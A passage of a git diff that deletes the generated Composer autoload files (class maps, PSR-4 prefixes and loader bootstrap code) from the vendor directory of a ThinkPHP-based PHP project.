'/topthink/think-swoole/src/websocket/SimpleParser.php', - 'think\\swoole\\websocket\\middleware\\SessionInit' => $vendorDir . '/topthink/think-swoole/src/websocket/middleware/SessionInit.php', - 'think\\swoole\\websocket\\room\\Redis' => $vendorDir . '/topthink/think-swoole/src/websocket/room/Redis.php', - 'think\\swoole\\websocket\\room\\Table' => $vendorDir . '/topthink/think-swoole/src/websocket/room/Table.php', - 'think\\swoole\\websocket\\socketio\\Controller' => $vendorDir . '/topthink/think-swoole/src/websocket/socketio/Controller.php', - 'think\\swoole\\websocket\\socketio\\Handler' => $vendorDir . '/topthink/think-swoole/src/websocket/socketio/Handler.php', - 'think\\swoole\\websocket\\socketio\\Packet' => $vendorDir . '/topthink/think-swoole/src/websocket/socketio/Packet.php', - 'think\\swoole\\websocket\\socketio\\Parser' => $vendorDir . '/topthink/think-swoole/src/websocket/socketio/Parser.php', - 'think\\template\\TagLib' => $vendorDir . '/topthink/think-template/src/template/TagLib.php', - 'think\\template\\driver\\File' => $vendorDir . '/topthink/think-template/src/template/driver/File.php', - 'think\\template\\exception\\TemplateNotFoundException' => $vendorDir . '/topthink/think-template/src/template/exception/TemplateNotFoundException.php', - 'think\\template\\taglib\\Cx' => $vendorDir . '/topthink/think-template/src/template/taglib/Cx.php', - 'think\\trace\\Console' => $vendorDir . '/topthink/think-trace/src/Console.php', - 'think\\trace\\Html' => $vendorDir . '/topthink/think-trace/src/Html.php', - 'think\\trace\\Service' => $vendorDir . '/topthink/think-trace/src/Service.php', - 'think\\trace\\TraceDebug' => $vendorDir . '/topthink/think-trace/src/TraceDebug.php', - 'think\\validate\\ValidateRule' => $vendorDir . '/topthink/framework/src/think/validate/ValidateRule.php', - 'think\\view\\driver\\Php' => $vendorDir . '/topthink/framework/src/think/view/driver/Php.php', - 'think\\view\\driver\\Think' => $vendorDir . '/topthink/think-view/src/Think.php', -); diff --git a/vendor/composer/autoload_files.php b/vendor/composer/autoload_files.php deleted file mode 100644 index c9797ec..0000000 --- a/vendor/composer/autoload_files.php +++ /dev/null @@ -1,16 +0,0 @@ - $vendorDir . '/topthink/think-helper/src/helper.php', - '0e6d7bf4a5811bfa5cf40c5ccd6fae6a' => $vendorDir . '/symfony/polyfill-mbstring/bootstrap.php', - '25072dd6e2470089de65ae7bf11d3109' => $vendorDir . '/symfony/polyfill-php72/bootstrap.php', - 'a4a119a56e50fbb293281d9a48007e0e' => $vendorDir . '/symfony/polyfill-php80/bootstrap.php', - '667aeda72477189d0494fecd327c3641' => $vendorDir . '/symfony/var-dumper/Resources/functions/dump.php', - '1cfd2761b63b0a29ed23657ea394cb2d' => $vendorDir . '/topthink/think-captcha/src/helper.php', - 'af46dcea2921209ac30627b964175f13' => $vendorDir . '/topthink/think-swoole/src/helpers.php', -); diff --git a/vendor/composer/autoload_namespaces.php b/vendor/composer/autoload_namespaces.php deleted file mode 100644 index 7cb803d..0000000 --- a/vendor/composer/autoload_namespaces.php +++ /dev/null @@ -1,10 +0,0 @@ - array($baseDir . '/extend'), -); diff --git a/vendor/composer/autoload_psr4.php b/vendor/composer/autoload_psr4.php deleted file mode 100644 index b7ca98e..0000000 --- a/vendor/composer/autoload_psr4.php +++ /dev/null @@ -1,30 +0,0 @@ - array($vendorDir . '/topthink/think-view/src'), - 'think\\trace\\' => array($vendorDir . '/topthink/think-trace/src'), - 'think\\swoole\\' => array($vendorDir . '/topthink/think-swoole/src'), - 'think\\captcha\\' => array($vendorDir . '/topthink/think-captcha/src'), - 'think\\app\\' => array($vendorDir . '/topthink/think-multi-app/src'), - 'think\\' => array($vendorDir . '/topthink/framework/src/think', $vendorDir . '/topthink/think-helper/src', $vendorDir . '/topthink/think-orm/src', $vendorDir . '/topthink/think-template/src'), - 'freedom\\' => array($baseDir . '/freedom'), - 'app\\' => array($baseDir . '/app'), - 'Symfony\\Polyfill\\Php80\\' => array($vendorDir . '/symfony/polyfill-php80'), - 'Symfony\\Polyfill\\Php72\\' => array($vendorDir . '/symfony/polyfill-php72'), - 'Symfony\\Polyfill\\Mbstring\\' => array($vendorDir . '/symfony/polyfill-mbstring'), - 'Symfony\\Component\\VarDumper\\' => array($vendorDir . '/symfony/var-dumper'), - 'Symfony\\Component\\Finder\\' => array($vendorDir . '/symfony/finder'), - 'Smf\\ConnectionPool\\' => array($vendorDir . '/open-smf/connection-pool/src'), - 'Psr\\SimpleCache\\' => array($vendorDir . '/psr/simple-cache/src'), - 'Psr\\Log\\' => array($vendorDir . '/psr/log/Psr/Log'), - 'Psr\\Container\\' => array($vendorDir . '/psr/container/src'), - 'Psr\\Cache\\' => array($vendorDir . '/psr/cache/src'), - 'League\\MimeTypeDetection\\' => array($vendorDir . '/league/mime-type-detection/src'), - 'League\\Flysystem\\Cached\\' => array($vendorDir . '/league/flysystem-cached-adapter/src'), - 'League\\Flysystem\\' => array($vendorDir . '/league/flysystem/src'), -); diff --git a/vendor/composer/autoload_real.php b/vendor/composer/autoload_real.php deleted file mode 100644 index ac881aa..0000000 --- a/vendor/composer/autoload_real.php +++ /dev/null @@ -1,75 +0,0 @@ -= 50600 && !defined('HHVM_VERSION') && (!function_exists('zend_loader_file_encoded') || !zend_loader_file_encoded()); - if ($useStaticLoader) { - require __DIR__ . '/autoload_static.php'; - - call_user_func(\Composer\Autoload\ComposerStaticInit9947e2ce7d1a6501413c1b0d7d3973cf::getInitializer($loader)); - } else { - $map = require __DIR__ . '/autoload_namespaces.php'; - foreach ($map as $namespace => $path) { - $loader->set($namespace, $path); - } - - $map = require __DIR__ . '/autoload_psr4.php'; - foreach ($map as $namespace => $path) { - $loader->setPsr4($namespace, $path); - } - - $classMap = require __DIR__ . '/autoload_classmap.php'; - if ($classMap) { - $loader->addClassMap($classMap); - } - } - - $loader->register(true); - - if ($useStaticLoader) { - $includeFiles = Composer\Autoload\ComposerStaticInit9947e2ce7d1a6501413c1b0d7d3973cf::$files; - } else { - $includeFiles = require __DIR__ . '/autoload_files.php'; - } - foreach ($includeFiles as $fileIdentifier => $file) { - composerRequire9947e2ce7d1a6501413c1b0d7d3973cf($fileIdentifier, $file); - } - - return $loader; - } -} - -function composerRequire9947e2ce7d1a6501413c1b0d7d3973cf($fileIdentifier, $file) -{ - if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) { - require $file; - - $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true; - } -} diff --git a/vendor/composer/autoload_static.php b/vendor/composer/autoload_static.php deleted file mode 100644 index ef5993c..0000000 --- a/vendor/composer/autoload_static.php +++ /dev/null @@ -1,801 +0,0 @@ - __DIR__ . '/..' . '/topthink/think-helper/src/helper.php', - '0e6d7bf4a5811bfa5cf40c5ccd6fae6a' => __DIR__ . '/..' . '/symfony/polyfill-mbstring/bootstrap.php', - '25072dd6e2470089de65ae7bf11d3109' => __DIR__ . '/..' . '/symfony/polyfill-php72/bootstrap.php', - 'a4a119a56e50fbb293281d9a48007e0e' => __DIR__ . '/..' . '/symfony/polyfill-php80/bootstrap.php', - '667aeda72477189d0494fecd327c3641' => __DIR__ . '/..' . '/symfony/var-dumper/Resources/functions/dump.php', - '1cfd2761b63b0a29ed23657ea394cb2d' => __DIR__ . '/..' . '/topthink/think-captcha/src/helper.php', - 'af46dcea2921209ac30627b964175f13' => __DIR__ . '/..' . '/topthink/think-swoole/src/helpers.php', - ); - - public static $prefixLengthsPsr4 = array ( - 't' => - array ( - 'think\\view\\driver\\' => 18, - 'think\\trace\\' => 12, - 'think\\swoole\\' => 13, - 'think\\captcha\\' => 14, - 'think\\app\\' => 10, - 'think\\' => 6, - ), - 'f' => - array ( - 'freedom\\' => 8, - ), - 'a' => - array ( - 'app\\' => 4, - ), - 'S' => - array ( - 'Symfony\\Polyfill\\Php80\\' => 23, - 'Symfony\\Polyfill\\Php72\\' => 23, - 'Symfony\\Polyfill\\Mbstring\\' => 26, - 'Symfony\\Component\\VarDumper\\' => 28, - 'Symfony\\Component\\Finder\\' => 25, - 'Smf\\ConnectionPool\\' => 19, - ), - 'P' => - array ( - 'Psr\\SimpleCache\\' => 16, - 'Psr\\Log\\' => 8, - 'Psr\\Container\\' => 14, - 'Psr\\Cache\\' => 10, - ), - 'L' => - array ( - 'League\\MimeTypeDetection\\' => 25, - 'League\\Flysystem\\Cached\\' => 24, - 'League\\Flysystem\\' => 17, - ), - ); - - public static $prefixDirsPsr4 = array ( - 'think\\view\\driver\\' => - array ( - 0 => __DIR__ . '/..' . '/topthink/think-view/src', - ), - 'think\\trace\\' => - array ( - 0 => __DIR__ . '/..' . '/topthink/think-trace/src', - ), - 'think\\swoole\\' => - array ( - 0 => __DIR__ . '/..' . '/topthink/think-swoole/src', - ), - 'think\\captcha\\' => - array ( - 0 => __DIR__ . '/..' . '/topthink/think-captcha/src', - ), - 'think\\app\\' => - array ( - 0 => __DIR__ . '/..' . '/topthink/think-multi-app/src', - ), - 'think\\' => - array ( - 0 => __DIR__ . '/..' . '/topthink/framework/src/think', - 1 => __DIR__ . '/..' . '/topthink/think-helper/src', - 2 => __DIR__ . '/..' . '/topthink/think-orm/src', - 3 => __DIR__ . '/..' . '/topthink/think-template/src', - ), - 'freedom\\' => - array ( - 0 => __DIR__ . '/../..' . '/freedom', - ), - 'app\\' => - array ( - 0 => __DIR__ . '/../..' . '/app', - ), - 'Symfony\\Polyfill\\Php80\\' => - array ( - 0 => __DIR__ . '/..' . '/symfony/polyfill-php80', - ), - 'Symfony\\Polyfill\\Php72\\' => - array ( - 0 => __DIR__ . '/..' . '/symfony/polyfill-php72', - ), - 'Symfony\\Polyfill\\Mbstring\\' => - array ( - 0 => __DIR__ . '/..' . '/symfony/polyfill-mbstring', - ), - 'Symfony\\Component\\VarDumper\\' => - array ( - 0 => __DIR__ . '/..' . '/symfony/var-dumper', - ), - 'Symfony\\Component\\Finder\\' => - array ( - 0 => __DIR__ . '/..' . '/symfony/finder', - ), - 'Smf\\ConnectionPool\\' => - array ( - 0 => __DIR__ . '/..' . '/open-smf/connection-pool/src', - ), - 'Psr\\SimpleCache\\' => - array ( - 0 => __DIR__ . '/..' . '/psr/simple-cache/src', - ), - 'Psr\\Log\\' => - array ( - 0 => __DIR__ . '/..' . '/psr/log/Psr/Log', - ), - 'Psr\\Container\\' => - array ( - 0 => __DIR__ . '/..' . '/psr/container/src', - ), - 'Psr\\Cache\\' => - array ( - 0 => __DIR__ . '/..' . '/psr/cache/src', - ), - 'League\\MimeTypeDetection\\' => - array ( - 0 => __DIR__ . '/..' . '/league/mime-type-detection/src', - ), - 'League\\Flysystem\\Cached\\' => - array ( - 0 => __DIR__ . '/..' . '/league/flysystem-cached-adapter/src', - ), - 'League\\Flysystem\\' => - array ( - 0 => __DIR__ . '/..' . '/league/flysystem/src', - ), - ); - - public static $fallbackDirsPsr0 = array ( - 0 => __DIR__ . '/../..' . '/extend', - ); - - public static $classMap = array ( - 'Attribute' => __DIR__ . '/..' . '/symfony/polyfill-php80/Resources/stubs/Attribute.php', - 'Composer\\InstalledVersions' => __DIR__ . '/..' . '/composer/InstalledVersions.php', - 'League\\Flysystem\\AdapterInterface' => __DIR__ . '/..' . '/league/flysystem/src/AdapterInterface.php', - 'League\\Flysystem\\Adapter\\AbstractAdapter' => __DIR__ . '/..' . '/league/flysystem/src/Adapter/AbstractAdapter.php', - 'League\\Flysystem\\Adapter\\AbstractFtpAdapter' => __DIR__ . '/..' . '/league/flysystem/src/Adapter/AbstractFtpAdapter.php', - 'League\\Flysystem\\Adapter\\CanOverwriteFiles' => __DIR__ . '/..' . '/league/flysystem/src/Adapter/CanOverwriteFiles.php', - 'League\\Flysystem\\Adapter\\Ftp' => __DIR__ . '/..' . '/league/flysystem/src/Adapter/Ftp.php', - 'League\\Flysystem\\Adapter\\Ftpd' => __DIR__ . '/..' . '/league/flysystem/src/Adapter/Ftpd.php', - 'League\\Flysystem\\Adapter\\Local' => __DIR__ . '/..' . '/league/flysystem/src/Adapter/Local.php', - 'League\\Flysystem\\Adapter\\NullAdapter' => __DIR__ . '/..' . '/league/flysystem/src/Adapter/NullAdapter.php', - 'League\\Flysystem\\Adapter\\Polyfill\\NotSupportingVisibilityTrait' => __DIR__ . '/..' . '/league/flysystem/src/Adapter/Polyfill/NotSupportingVisibilityTrait.php', - 'League\\Flysystem\\Adapter\\Polyfill\\StreamedCopyTrait' => __DIR__ . '/..' . '/league/flysystem/src/Adapter/Polyfill/StreamedCopyTrait.php', - 'League\\Flysystem\\Adapter\\Polyfill\\StreamedReadingTrait' => __DIR__ . '/..' . '/league/flysystem/src/Adapter/Polyfill/StreamedReadingTrait.php', - 'League\\Flysystem\\Adapter\\Polyfill\\StreamedTrait' => __DIR__ . '/..' . '/league/flysystem/src/Adapter/Polyfill/StreamedTrait.php', - 'League\\Flysystem\\Adapter\\Polyfill\\StreamedWritingTrait' => __DIR__ . '/..' . '/league/flysystem/src/Adapter/Polyfill/StreamedWritingTrait.php', - 'League\\Flysystem\\Adapter\\SynologyFtp' => __DIR__ . '/..' . '/league/flysystem/src/Adapter/SynologyFtp.php', - 'League\\Flysystem\\Cached\\CacheInterface' => __DIR__ . '/..' . '/league/flysystem-cached-adapter/src/CacheInterface.php', - 'League\\Flysystem\\Cached\\CachedAdapter' => __DIR__ . '/..' . '/league/flysystem-cached-adapter/src/CachedAdapter.php', - 'League\\Flysystem\\Cached\\Storage\\AbstractCache' => __DIR__ . '/..' . '/league/flysystem-cached-adapter/src/Storage/AbstractCache.php', - 'League\\Flysystem\\Cached\\Storage\\Adapter' => __DIR__ . '/..' . '/league/flysystem-cached-adapter/src/Storage/Adapter.php', - 'League\\Flysystem\\Cached\\Storage\\Memcached' => __DIR__ . '/..' . '/league/flysystem-cached-adapter/src/Storage/Memcached.php', - 'League\\Flysystem\\Cached\\Storage\\Memory' => __DIR__ . '/..' . '/league/flysystem-cached-adapter/src/Storage/Memory.php', - 'League\\Flysystem\\Cached\\Storage\\Noop' => __DIR__ . '/..' . '/league/flysystem-cached-adapter/src/Storage/Noop.php', - 'League\\Flysystem\\Cached\\Storage\\PhpRedis' => __DIR__ . '/..' . '/league/flysystem-cached-adapter/src/Storage/PhpRedis.php', - 'League\\Flysystem\\Cached\\Storage\\Predis' => __DIR__ . '/..' . '/league/flysystem-cached-adapter/src/Storage/Predis.php', - 'League\\Flysystem\\Cached\\Storage\\Psr6Cache' => __DIR__ . '/..' . '/league/flysystem-cached-adapter/src/Storage/Psr6Cache.php', - 'League\\Flysystem\\Cached\\Storage\\Stash' => __DIR__ . '/..' . '/league/flysystem-cached-adapter/src/Storage/Stash.php', - 'League\\Flysystem\\Config' => __DIR__ . '/..' . '/league/flysystem/src/Config.php', - 'League\\Flysystem\\ConfigAwareTrait' => __DIR__ . '/..' . '/league/flysystem/src/ConfigAwareTrait.php', - 'League\\Flysystem\\ConnectionErrorException' => __DIR__ . '/..' . '/league/flysystem/src/ConnectionErrorException.php', - 'League\\Flysystem\\ConnectionRuntimeException' => __DIR__ . '/..' . '/league/flysystem/src/ConnectionRuntimeException.php', - 'League\\Flysystem\\Directory' => __DIR__ . '/..' . '/league/flysystem/src/Directory.php', - 'League\\Flysystem\\Exception' => __DIR__ . '/..' . '/league/flysystem/src/Exception.php', - 'League\\Flysystem\\File' => __DIR__ . '/..' . '/league/flysystem/src/File.php', - 'League\\Flysystem\\FileExistsException' => __DIR__ . '/..' . '/league/flysystem/src/FileExistsException.php', - 'League\\Flysystem\\FileNotFoundException' => __DIR__ . '/..' . '/league/flysystem/src/FileNotFoundException.php', - 'League\\Flysystem\\Filesystem' => __DIR__ . '/..' . '/league/flysystem/src/Filesystem.php', - 'League\\Flysystem\\FilesystemException' => __DIR__ . '/..' . '/league/flysystem/src/FilesystemException.php', - 'League\\Flysystem\\FilesystemInterface' => __DIR__ . '/..' . '/league/flysystem/src/FilesystemInterface.php', - 'League\\Flysystem\\FilesystemNotFoundException' => __DIR__ . '/..' . '/league/flysystem/src/FilesystemNotFoundException.php', - 'League\\Flysystem\\Handler' => __DIR__ . '/..' . '/league/flysystem/src/Handler.php', - 'League\\Flysystem\\InvalidRootException' => __DIR__ . '/..' . '/league/flysystem/src/InvalidRootException.php', - 'League\\Flysystem\\MountManager' => __DIR__ . '/..' . '/league/flysystem/src/MountManager.php', - 'League\\Flysystem\\NotSupportedException' => __DIR__ . '/..' . '/league/flysystem/src/NotSupportedException.php', - 'League\\Flysystem\\PluginInterface' => __DIR__ . '/..' . '/league/flysystem/src/PluginInterface.php', - 'League\\Flysystem\\Plugin\\AbstractPlugin' => __DIR__ . '/..' . '/league/flysystem/src/Plugin/AbstractPlugin.php', - 'League\\Flysystem\\Plugin\\EmptyDir' => __DIR__ . '/..' . '/league/flysystem/src/Plugin/EmptyDir.php', - 'League\\Flysystem\\Plugin\\ForcedCopy' => __DIR__ . '/..' . '/league/flysystem/src/Plugin/ForcedCopy.php', - 'League\\Flysystem\\Plugin\\ForcedRename' => __DIR__ . '/..' . '/league/flysystem/src/Plugin/ForcedRename.php', - 'League\\Flysystem\\Plugin\\GetWithMetadata' => __DIR__ . '/..' . '/league/flysystem/src/Plugin/GetWithMetadata.php', - 'League\\Flysystem\\Plugin\\ListFiles' => __DIR__ . '/..' . '/league/flysystem/src/Plugin/ListFiles.php', - 'League\\Flysystem\\Plugin\\ListPaths' => __DIR__ . '/..' . '/league/flysystem/src/Plugin/ListPaths.php', - 'League\\Flysystem\\Plugin\\ListWith' => __DIR__ . '/..' . '/league/flysystem/src/Plugin/ListWith.php', - 'League\\Flysystem\\Plugin\\PluggableTrait' => __DIR__ . '/..' . '/league/flysystem/src/Plugin/PluggableTrait.php', - 'League\\Flysystem\\Plugin\\PluginNotFoundException' => __DIR__ . '/..' . '/league/flysystem/src/Plugin/PluginNotFoundException.php', - 'League\\Flysystem\\ReadInterface' => __DIR__ . '/..' . '/league/flysystem/src/ReadInterface.php', - 'League\\Flysystem\\RootViolationException' => __DIR__ . '/..' . '/league/flysystem/src/RootViolationException.php', - 'League\\Flysystem\\SafeStorage' => __DIR__ . '/..' . '/league/flysystem/src/SafeStorage.php', - 'League\\Flysystem\\UnreadableFileException' => __DIR__ . '/..' . '/league/flysystem/src/UnreadableFileException.php', - 'League\\Flysystem\\Util' => __DIR__ . '/..' . '/league/flysystem/src/Util.php', - 'League\\Flysystem\\Util\\ContentListingFormatter' => __DIR__ . '/..' . '/league/flysystem/src/Util/ContentListingFormatter.php', - 'League\\Flysystem\\Util\\MimeType' => __DIR__ . '/..' . '/league/flysystem/src/Util/MimeType.php', - 'League\\Flysystem\\Util\\StreamHasher' => __DIR__ . '/..' . '/league/flysystem/src/Util/StreamHasher.php', - 'League\\MimeTypeDetection\\EmptyExtensionToMimeTypeMap' => __DIR__ . '/..' . '/league/mime-type-detection/src/EmptyExtensionToMimeTypeMap.php', - 'League\\MimeTypeDetection\\ExtensionMimeTypeDetector' => __DIR__ . '/..' . '/league/mime-type-detection/src/ExtensionMimeTypeDetector.php', - 'League\\MimeTypeDetection\\ExtensionToMimeTypeMap' => __DIR__ . '/..' . '/league/mime-type-detection/src/ExtensionToMimeTypeMap.php', - 'League\\MimeTypeDetection\\FinfoMimeTypeDetector' => __DIR__ . '/..' . '/league/mime-type-detection/src/FinfoMimeTypeDetector.php', - 'League\\MimeTypeDetection\\GeneratedExtensionToMimeTypeMap' => __DIR__ . '/..' . '/league/mime-type-detection/src/GeneratedExtensionToMimeTypeMap.php', - 'League\\MimeTypeDetection\\MimeTypeDetector' => __DIR__ . '/..' . '/league/mime-type-detection/src/MimeTypeDetector.php', - 'Nette\\ArgumentOutOfRangeException' => __DIR__ . '/..' . '/nette/utils/src/Utils/exceptions.php', - 'Nette\\DeprecatedException' => __DIR__ . '/..' . '/nette/utils/src/Utils/exceptions.php', - 'Nette\\DirectoryNotFoundException' => __DIR__ . '/..' . '/nette/utils/src/Utils/exceptions.php', - 'Nette\\FileNotFoundException' => __DIR__ . '/..' . '/nette/utils/src/Utils/exceptions.php', - 'Nette\\IOException' => __DIR__ . '/..' . '/nette/utils/src/Utils/exceptions.php', - 'Nette\\InvalidArgumentException' => __DIR__ . '/..' . '/nette/utils/src/Utils/exceptions.php', - 'Nette\\InvalidStateException' => __DIR__ . '/..' . '/nette/utils/src/Utils/exceptions.php', - 'Nette\\Iterators\\CachingIterator' => __DIR__ . '/..' . '/nette/utils/src/Iterators/CachingIterator.php', - 'Nette\\Iterators\\Mapper' => __DIR__ . '/..' . '/nette/utils/src/Iterators/Mapper.php', - 'Nette\\Localization\\ITranslator' => __DIR__ . '/..' . '/nette/utils/src/Utils/ITranslator.php', - 'Nette\\MemberAccessException' => __DIR__ . '/..' . '/nette/utils/src/Utils/exceptions.php', - 'Nette\\NotImplementedException' => __DIR__ . '/..' . '/nette/utils/src/Utils/exceptions.php', - 'Nette\\NotSupportedException' => __DIR__ . '/..' . '/nette/utils/src/Utils/exceptions.php', - 'Nette\\OutOfRangeException' => __DIR__ . '/..' . '/nette/utils/src/Utils/exceptions.php', - 'Nette\\PhpGenerator\\ClassType' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/ClassType.php', - 'Nette\\PhpGenerator\\Closure' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/Closure.php', - 'Nette\\PhpGenerator\\Constant' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/Constant.php', - 'Nette\\PhpGenerator\\Dumper' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/Dumper.php', - 'Nette\\PhpGenerator\\Factory' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/Factory.php', - 'Nette\\PhpGenerator\\GlobalFunction' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/GlobalFunction.php', - 'Nette\\PhpGenerator\\Helpers' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/Helpers.php', - 'Nette\\PhpGenerator\\Literal' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/Literal.php', - 'Nette\\PhpGenerator\\Method' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/Method.php', - 'Nette\\PhpGenerator\\Parameter' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/Parameter.php', - 'Nette\\PhpGenerator\\PhpFile' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/PhpFile.php', - 'Nette\\PhpGenerator\\PhpLiteral' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/PhpLiteral.php', - 'Nette\\PhpGenerator\\PhpNamespace' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/PhpNamespace.php', - 'Nette\\PhpGenerator\\Printer' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/Printer.php', - 'Nette\\PhpGenerator\\Property' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/Property.php', - 'Nette\\PhpGenerator\\PsrPrinter' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/PsrPrinter.php', - 'Nette\\PhpGenerator\\Traits\\CommentAware' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/Traits/CommentAware.php', - 'Nette\\PhpGenerator\\Traits\\FunctionLike' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/Traits/FunctionLike.php', - 'Nette\\PhpGenerator\\Traits\\NameAware' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/Traits/NameAware.php', - 'Nette\\PhpGenerator\\Traits\\VisibilityAware' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/Traits/VisibilityAware.php', - 'Nette\\PhpGenerator\\Type' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/Type.php', - 'Nette\\SmartObject' => __DIR__ . '/..' . '/nette/utils/src/Utils/SmartObject.php', - 'Nette\\StaticClass' => __DIR__ . '/..' . '/nette/utils/src/Utils/StaticClass.php', - 'Nette\\UnexpectedValueException' => __DIR__ . '/..' . '/nette/utils/src/Utils/exceptions.php', - 'Nette\\Utils\\ArrayHash' => __DIR__ . '/..' . '/nette/utils/src/Utils/ArrayHash.php', - 'Nette\\Utils\\ArrayList' => __DIR__ . '/..' . '/nette/utils/src/Utils/ArrayList.php', - 'Nette\\Utils\\Arrays' => __DIR__ . '/..' . '/nette/utils/src/Utils/Arrays.php', - 'Nette\\Utils\\AssertionException' => __DIR__ . '/..' . '/nette/utils/src/Utils/exceptions.php', - 'Nette\\Utils\\Callback' => __DIR__ . '/..' . '/nette/utils/src/Utils/Callback.php', - 'Nette\\Utils\\DateTime' => __DIR__ . '/..' . '/nette/utils/src/Utils/DateTime.php', - 'Nette\\Utils\\FileSystem' => __DIR__ . '/..' . '/nette/utils/src/Utils/FileSystem.php', - 'Nette\\Utils\\Helpers' => __DIR__ . '/..' . '/nette/utils/src/Utils/Helpers.php', - 'Nette\\Utils\\Html' => __DIR__ . '/..' . '/nette/utils/src/Utils/Html.php', - 'Nette\\Utils\\IHtmlString' => __DIR__ . '/..' . '/nette/utils/src/Utils/IHtmlString.php', - 'Nette\\Utils\\Image' => __DIR__ . '/..' . '/nette/utils/src/Utils/Image.php', - 'Nette\\Utils\\ImageException' => __DIR__ . '/..' . '/nette/utils/src/Utils/exceptions.php', - 'Nette\\Utils\\Json' => __DIR__ . '/..' . '/nette/utils/src/Utils/Json.php', - 'Nette\\Utils\\JsonException' => __DIR__ . '/..' . '/nette/utils/src/Utils/exceptions.php', - 'Nette\\Utils\\ObjectHelpers' => __DIR__ . '/..' . '/nette/utils/src/Utils/ObjectHelpers.php', - 'Nette\\Utils\\ObjectMixin' => __DIR__ . '/..' . '/nette/utils/src/Utils/ObjectMixin.php', - 'Nette\\Utils\\Paginator' => __DIR__ . '/..' . '/nette/utils/src/Utils/Paginator.php', - 'Nette\\Utils\\Random' => __DIR__ . '/..' . '/nette/utils/src/Utils/Random.php', - 'Nette\\Utils\\Reflection' => __DIR__ . '/..' . '/nette/utils/src/Utils/Reflection.php', - 'Nette\\Utils\\RegexpException' => __DIR__ . '/..' . '/nette/utils/src/Utils/exceptions.php', - 'Nette\\Utils\\Strings' => __DIR__ . '/..' . '/nette/utils/src/Utils/Strings.php', - 'Nette\\Utils\\UnknownImageFileException' => __DIR__ . '/..' . '/nette/utils/src/Utils/exceptions.php', - 'Nette\\Utils\\Validators' => __DIR__ . '/..' . '/nette/utils/src/Utils/Validators.php', - 'Psr\\Cache\\CacheException' => __DIR__ . '/..' . '/psr/cache/src/CacheException.php', - 'Psr\\Cache\\CacheItemInterface' => __DIR__ . '/..' . '/psr/cache/src/CacheItemInterface.php', - 'Psr\\Cache\\CacheItemPoolInterface' => __DIR__ . '/..' . '/psr/cache/src/CacheItemPoolInterface.php', - 'Psr\\Cache\\InvalidArgumentException' => __DIR__ . '/..' . '/psr/cache/src/InvalidArgumentException.php', - 'Psr\\Container\\ContainerExceptionInterface' => __DIR__ . '/..' . '/psr/container/src/ContainerExceptionInterface.php', - 'Psr\\Container\\ContainerInterface' => __DIR__ . '/..' . '/psr/container/src/ContainerInterface.php', - 'Psr\\Container\\NotFoundExceptionInterface' => __DIR__ . '/..' . '/psr/container/src/NotFoundExceptionInterface.php', - 'Psr\\Log\\AbstractLogger' => __DIR__ . '/..' . '/psr/log/Psr/Log/AbstractLogger.php', - 'Psr\\Log\\InvalidArgumentException' => __DIR__ . '/..' . '/psr/log/Psr/Log/InvalidArgumentException.php', - 'Psr\\Log\\LogLevel' => __DIR__ . '/..' . '/psr/log/Psr/Log/LogLevel.php', - 'Psr\\Log\\LoggerAwareInterface' => __DIR__ . '/..' . '/psr/log/Psr/Log/LoggerAwareInterface.php', - 'Psr\\Log\\LoggerAwareTrait' => __DIR__ . '/..' . '/psr/log/Psr/Log/LoggerAwareTrait.php', - 'Psr\\Log\\LoggerInterface' => __DIR__ . '/..' . '/psr/log/Psr/Log/LoggerInterface.php', - 'Psr\\Log\\LoggerTrait' => __DIR__ . '/..' . '/psr/log/Psr/Log/LoggerTrait.php', - 'Psr\\Log\\NullLogger' => __DIR__ . '/..' . '/psr/log/Psr/Log/NullLogger.php', - 'Psr\\Log\\Test\\DummyTest' => __DIR__ . '/..' . '/psr/log/Psr/Log/Test/DummyTest.php', - 'Psr\\Log\\Test\\LoggerInterfaceTest' => __DIR__ . '/..' . '/psr/log/Psr/Log/Test/LoggerInterfaceTest.php', - 'Psr\\Log\\Test\\TestLogger' => __DIR__ . '/..' . '/psr/log/Psr/Log/Test/TestLogger.php', - 'Psr\\SimpleCache\\CacheException' => __DIR__ . '/..' . '/psr/simple-cache/src/CacheException.php', - 'Psr\\SimpleCache\\CacheInterface' => __DIR__ . '/..' . '/psr/simple-cache/src/CacheInterface.php', - 'Psr\\SimpleCache\\InvalidArgumentException' => __DIR__ . '/..' . '/psr/simple-cache/src/InvalidArgumentException.php', - 'Smf\\ConnectionPool\\BorrowConnectionTimeoutException' => __DIR__ . '/..' . '/open-smf/connection-pool/src/BorrowConnectionTimeoutException.php', - 'Smf\\ConnectionPool\\ConnectionPool' => __DIR__ . '/..' . '/open-smf/connection-pool/src/ConnectionPool.php', - 'Smf\\ConnectionPool\\ConnectionPoolInterface' => __DIR__ . '/..' . '/open-smf/connection-pool/src/ConnectionPoolInterface.php', - 'Smf\\ConnectionPool\\ConnectionPoolTrait' => __DIR__ . '/..' . '/open-smf/connection-pool/src/ConnectionPoolTrait.php', - 'Smf\\ConnectionPool\\Connectors\\ConnectorInterface' => __DIR__ . '/..' . '/open-smf/connection-pool/src/Connectors/ConnectorInterface.php', - 'Smf\\ConnectionPool\\Connectors\\CoroutineMySQLConnector' => __DIR__ . '/..' . '/open-smf/connection-pool/src/Connectors/CoroutineMySQLConnector.php', - 'Smf\\ConnectionPool\\Connectors\\CoroutinePostgreSQLConnector' => 